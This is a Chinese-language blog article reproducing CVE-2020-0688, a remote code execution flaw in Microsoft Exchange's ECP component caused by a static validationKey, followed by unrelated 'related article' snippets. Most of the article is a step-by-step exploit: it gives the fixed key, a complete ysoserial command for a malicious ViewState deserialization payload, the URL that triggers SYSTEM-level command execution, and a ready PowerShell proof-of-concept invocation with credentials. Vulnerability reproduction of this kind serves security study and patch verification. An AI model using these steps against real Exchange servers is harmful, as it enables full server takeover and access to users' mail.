CVE-2020-0688 远程代码执行漏洞

2024-05-31 23:12

本文主要是介绍CVE-2020-0688 远程代码执行漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2020-0688 远程代码执行漏洞

漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码

当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在 被攻击的exchange上执行任意代码,直接获取服务器权限

影响版本

  • Microsoft Exchange Server 2010 Service Pack 3
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019

漏洞利用前提

  • 获得一个邮件用户密码,且该邮箱登录过exchange

环境安装

参考:exchange2016安装

  • 实验环境:Exchange Server 2016 RTM 15.1.225.42

漏洞复现

手动复现
  1. 获取 __VIEWSTATEGENERATOR 和 ASP.NET_SessionId 的值

使用普通域用户(获取的邮箱用户)hacker登录管理中心/ecp/,定位到/ecp/,在其响应头中获取ASP.NET_SessionId 的值。同时在响应体中获得 __VIEWSTATEGENERATOR 的值,默认为“B97B4E27”

  • ASP.NET_SessionId = 7b9b620b-74bf-4cd2-a9c1-445d5f1720ae
  • __VIEWSTATEGENERATOR = B97B4E27

  1. 生成反序列化Payload

使用 ysoserial.exe 生成反序列化Payload,命令如下

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c notepad.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634" --isdebug -islegacy
  • validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF,这是固定的值,这是此漏洞产生的原因,修复补丁之后此值会做随机化处理
  • --generator="B97B4E27",这是返回包中获得 __VIEWSTATEGENERATOR 的值
  • --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634",这是请求包中ASP.NET.SessionID的值

将生成的payload进行 url 编码

拼接为如下格式

https://192.168.59.131/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=url编码后的payload

保持用户hacker在登录的情况下,直接在浏览器中访问即可触发以system权限的命令执行

工具一键利用

poc:GitHub - MrTiz/CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server through fixed cryptographic keys

PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://192.168.59.131' -Username 'test.lab\hacker' -Password 'hacker.com' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\admin\Desktop\CVE-2020-0688-main\ysoserial\ysoserial.exe'

执行如上所示,exchange机器中将被成功创建C:/whoami.txt文件

这篇关于CVE-2020-0688 远程代码执行漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1019312

相关文章

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

远程工具-SecureCRT/SecureFX

下载地址: https://www.portablesoft.org/securecrt-securefx-integrated/

【微服务】Ribbon(负载均衡,服务调用)+ OpenFeign(服务发现,远程调用)【详解】

文章目录 1.Ribbon(负载均衡,服务调用)1.1问题引出1.2 Ribbon负载均衡1.3 RestTemplate整合Ribbon1.4 指定Ribbon负载均衡策略1.4.1 配置文件1.4.2 配置类1.4.3 定义Ribbon客户端配置1.4.4 自定义负载均衡策略 2.OpenFeign面向接口的服务调用(服务发现,远程调用)2.1 OpenFeign的使用2.1 .1创建

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

如何删除不小心上传到git远程仓库中的.idea .iml文件

如果在开始的时候不配置,gitignore文件或者文件配置不正确,初始化上传的时候就会有一些不必要的信息上传上去 如果已经存在了一些文件在git远程仓库中,如。idea,.iml文件等。 首先在项目中定义一个  .gitignore文件,简单的实例如下也可以用idea中的gitignore插件 .DS_Storeclasses/*.settings/target/.classpath

Docker远程连接和Docker Remote Api

在Docker生态系统中一共有3种API:Registry API、Docker Hub API、Docker Remote API 这三种API都是RESTful风格的。这里Remote API是通过程序与Docker进行集成和交互的核心内容。 Docker Remote API是由Docker守护进程提供的。默认情况下,Docker守护进程会绑定到一个所在宿主机的套接字:unix:///v

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

git如何灵活切换本地账号对应远程github的两个账号

git如何灵活切换本地账号对应远程github的两个账号 问题: 有时候我们会同时维护两个github的账号里面的仓库内容,这时候本地git需要频繁的切换ssh,以方便灵活的与两个账号的仓库可以通信。这篇日记将阐述我是怎么解决这个问题的。1. 第一个账户 生成本地SSH2. 注意 我们要设置第二个账户的 本地 SSH 时3. 两个账号来回切换 问题: 有时候我们会同时维护两个git

Linux概述、远程连接、常用命令

Linux介绍 Linux操作系统介绍 Linux操作系统的特点 开源免费安全稳定可移植性好 Linux可以安装在不同的设备上 高性能 Linux的使用领域 应用服务器数据库服务器网络服务器虚拟化云计算嵌入式领域个人PC移动手机 Linux文件系统和目录 /:根目录,唯一/home:用户目录/root:系统管理员root目录/usr:应用程序/etc:系统配置boot:内核文件/tm

Java 远程执行服务器上的命令

在Java中使用JSch库执行远程服务器上的命令是一种常见的做法,特别是在需要自动化运维任务或者进行远程文件操作时。以下是基于Codekru网站提供的示例,展示如何使用JSch库在远程服务器上执行单个或多个命令。 准备工作 首先,确保您的项目中已经包含了JSch库的依赖。如果您使用Maven作为构建工具,可以在pom.xml文件中添加如下依赖: <dependency><groupId>co